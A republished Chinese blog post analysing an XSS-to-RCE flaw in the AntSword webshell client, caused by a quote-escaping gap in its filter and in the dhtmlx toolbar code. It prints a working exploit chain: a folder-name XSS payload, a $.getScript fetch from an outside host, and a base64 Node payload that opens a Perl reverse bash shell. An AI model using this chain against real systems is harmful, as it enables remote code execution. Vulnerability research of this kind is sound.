前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临

蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临

作者头像
C4rpeDime
发布2022-04-24 15:03:37
1.7K0
发布2022-04-24 15:03:37
举报
文章被收录于专栏:黑白安全黑白安全

接着我们复测了之前的RCE,发现该漏洞已被过滤修复,我们来简单分析一下是怎么修复的。

蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘  第2张
蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘 第2张

新加上用来过滤的noxss函数 在source/app.entry.js文件中

蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘  第3张
蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘 第3张

这里很明显使用了JS的替换,而我们能看到替换的内容,其实也就是类似于进行了html实体编码 接着问题来了,它过滤了尖括号和双引号,但是没有过滤单引号? So 我们可以通过单引号来闭合双引号。首先我们需要找到一个标签之内可以XSS的地方

蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘  第4张
蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘 第4张

我们发现它调用了dhtmlx框架

蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘  第5张
蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘 第5张

接着我们来看这个UI框架

通过分析,该框架的dhtmlxtoolbar.js文件有点儿小毛病 文件地址: https://github.com/liuhuisheng/dhtmlx_web/blob/8a637bac7e92c76764e95cdd61f2e0fe60220822/assets/lib/dhtmlx/v403_pro/sources/dhtmlxToolbar/codebase/dhtmlxtoolbar.js

该文件第1775行

代码语言:javascript
复制
this.obj.innerHTML = "<input class='dhxtoolbar_input' type='text' style='width:"+this.obj.w+"px;'"
+(data.value!=null?" value='"+data.value+"'":"")+">";

这段代码会将获取到的参数直接拼接到input标签里面,而UI框架没有任何过滤

于是乎我们找到了文件路径处,这里存在一个我们可以控制的标签(可Xss)

蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘  第6张
蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘 第6张

0x03 攻击手法

这里原本是一个input标签,我们可以构建oninput事件来触发该XSS

Payload: ‘oninput=alert(1) ;’

蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘  第7张
蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘 第7张

输入语句,很明显该XSS生效了,接着输入字符,成功弹窗

蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘  第8张
蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘 第8张

那么有个小问题,这个oninput标签是需要交互式触发的,看起来很鸡肋,但是经过一个微妙组合,就可以自动触发了

科普:

autofocus:是能够让input自动获取焦点的属性。

onfocus: 当input自动获取焦点时会触发事件。 那么我们在input标签中包含一个autofocus的属性(让它自动获取焦点)。 然后自动触发onfocus事件内的Js脚本。

触发点在路径上,如果我将一个文件夹命名为我们的payload,当蚁剑连接时就可以成功触发漏洞。

蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘  第9张
蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘 第9张

我们还可以将网站的根目录设置为这个文件夹,当攻击者想要连接我们站上的shell时,我们就能反杀回去-.-

蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘  第10张
蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘 第10张
蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘  第11张
蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘 第11张

XSS部分概述完毕,但我们最终是要进行RCE命令执行。

我们将构建语句完成一次SSJI(服务器端javascript注入)

利用障碍

Linux文件名的长度限制是255个字符 windows下完全限定文件名必须少于260个字符,目录名必须小于248个字符,且不能参杂特定字符给文件夹命名。

绕过障碍

正常payload基本大于长度限制。我们需要缩短payload长度

我们可以使用外部引用,因为蚁剑使用了jquery,故可以使用$.getScript来引用外部js脚本,虽然文件夹名中不可含有//,但我们可以使用unescape代码对payload进行加密

最终

Payload:

代码语言:javascript
复制
'autofocus onfocus=$.getScript(unescape('http%3A%2f%2fxxx.in%2f2Yuo%0A'));'
蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘  第12张
蚁剑客户端RCE挖掘过程及源码分析丨蚁剑第二弹来临 及源码分析 RCE挖掘过 客户端 中国蚁剑 安全文摘 第12张

Xss平台那边的payload代码,我们就直接拿之前爆出的RCE利用代码

payload:

代码语言:javascript
复制
eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxMjcuMC4w
LjEiOyRwPTEwMDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoU
yxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKF
NUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIik7fTtcJycsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ
0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())

Base64解码出来就是

代码语言:javascript
复制
require('child_process').exec('perl -e 'use Socket;$i="127.0.0.1";$p=1002;socket
(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'',(error, stdout, stderr)=>{
    alert(`stdout: ${stdout}`);
  });

由此我们得到了一个反弹到本地的CMDshell.

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019-04-18),如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x03 攻击手法
    • 利用障碍
      • 绕过障碍
        • 最终
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档